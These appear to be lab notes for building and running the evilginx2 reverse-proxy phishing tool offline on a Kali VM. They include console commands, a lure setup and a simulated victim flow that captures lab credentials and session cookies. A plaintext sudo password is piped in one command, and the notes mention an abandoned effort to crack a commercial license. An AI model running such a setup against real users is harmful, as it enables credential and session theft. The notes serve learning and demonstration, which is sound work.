Evilginx2 lab (Community Edition) — Kali VM

Date: 2026-09-07 · Status: build + smoke test complete ✓

Background

The Evilginx Pro license-cracking track (61+ sessions) was closed — not pursued further, as it is DRM circumvention on a commercial product without authorization. The replacement (user-approved): build the open-source evilginx2 Community Edition v3.3.0 (GPL, by Kuba Gretzky / @mrgretzky) as a lab for learning/demonstrating reverse-proxy phishing mechanics.

Authorization rules (mandatory)

State on the Kali VM (DESKTOP-CGQ1TVQ — 172.24.228.169)

Component Value
Source ~/evilginx2-src (github.com/kgretzky/evilginx2, master 4c0988a)
Binary ~/evilginx2-lab/evilginx2 (17.4 MB, clean build)
Go 1.26.4, built -mod=vendor (vendor tree present — no network needed at build)
Runtime config /root/.evilginx (when run via sudo)
Phishlets /home/kali/evilginx2-src/phishlets (includes the example phishlet)

Rebuilding (when needed)

cd ~/evilginx2-src && go build -mod=vendor -o ~/evilginx2-lab/evilginx2 .

SSH-from-Windows note: wrap remote commands in single quotes — with double quotes, $HOME gets expanded on the Windows (MSYS) side into /c/<windows-user> before being sent.

Running

Interactive console (root needed to bind 53/80/443):

cd ~/evilginx2-lab
echo kali | sudo -S sh -c './evilginx2 -p /home/kali/evilginx2-src/phishlets'

Verified (2026-09-08): the v3.3.0 banner appears → full subsystem init (phishlets loaded, config, blacklist, ports 443/53, autocert, the phishlet table) → help prints the full menu (config / proxy / phishlets / sessions / lures / blacklist / test-certs).

Safe kill: pkill -9 -x evilginx2 (use -x only — never -f).

End-to-end demo, RUN (2026-09-08) ✓

A complete simulated victim flow in the lab; evidence in .reports/evilginx2-lab/:

lure GET 302 → proxied /login 200 "Corp Login (LAB ORIGIN)"
POST creds   → origin log: user=labuser pass=labpass123
             → evilginx2: [+++] Username/Password captured, "all authorization tokens intercepted!"
GET /portal  → 200 "Logged in as labuser" (through the proxy, full cookies)
sessions     → | 4 | lab | labuser | labpass123 | captured | 127.0.0.1 |

62-LAB3 extension (2026-09-08) ✓

Offline run architecture (no internet / no real domain)

Component Address Notes
evilginx2 (HTTPS + DNS) 127.0.0.1:443 run as kali via setcap cap_net_bind_service=+ep
testsite.py (TLS origin) 127.0.0.2:443 python stdlib, self-signed cert for portal.labsvc.test
/etc/hosts www.labphish.test→127.0.0.1, portal.labsvc.test→127.0.0.2 split DNS via hosts

Port-splitting trick: evilginx2’s upstream is always HTTPS:443 (core/http_proxy.go:150, InsecureSkipVerify :1574) → the origin must be TLS on :443. evilginx2 binds only 127.0.0.1 (config ipv4 bind 127.0.0.1) leaving 127.0.0.2:443 free for the test site — no iptables needed.

Rebuild steps

  1. sudo setcap cap_net_bind_service=+ep ~/evilginx2-lab/evilginx2 — run without sudo.
  2. /etc/hosts: the two lines from the table above.
  3. Origin cert: openssl req -x509 -newkey rsa:2048 -nodes -subj "/CN=portal.labsvc.test" -addext subjectAltName=DNS:portal.labsvc.test → ~/evilginx2-lab/certs/.
  4. One-shot console (each command once; config persists in ~/.evilginx):

    printf "config domain labphish.test\nconfig ipv4 external 127.0.0.1\nconfig ipv4 bind 127.0.0.1\nphishlets hostname lab labphish.test\nphishlets enable lab\nlures create lab\nlures get-url 0\nexit\n" | ./evilginx2 -p ~/evilginx2-lab/phishlets -developer

  5. Start: nohup python3 testsite.py > testsite_out.log 2>&1 & then nohup bash -c "tail -f /dev/null | ./evilginx2 -p ~/evilginx2-lab/phishlets -developer" > serve.log 2>&1 & (tail -f /dev/null keeps stdin open so the console doesn’t exit at EOF).
  6. Victim flow (curl + cookie jar; the lure step needs -L because evilginx2 302s to /login): GET lure → POST creds → GET /portal.
  7. View captures: printf "sessions\nexit\n" | ./evilginx2 ... or grep '+++' serve.log.
  8. Stop: pkill -9 -x evilginx2; kill -9 $(pgrep -x python3).

Hard-won gotchas (each one caused a real failure)

Defensive-view IOCs (observable from the demo)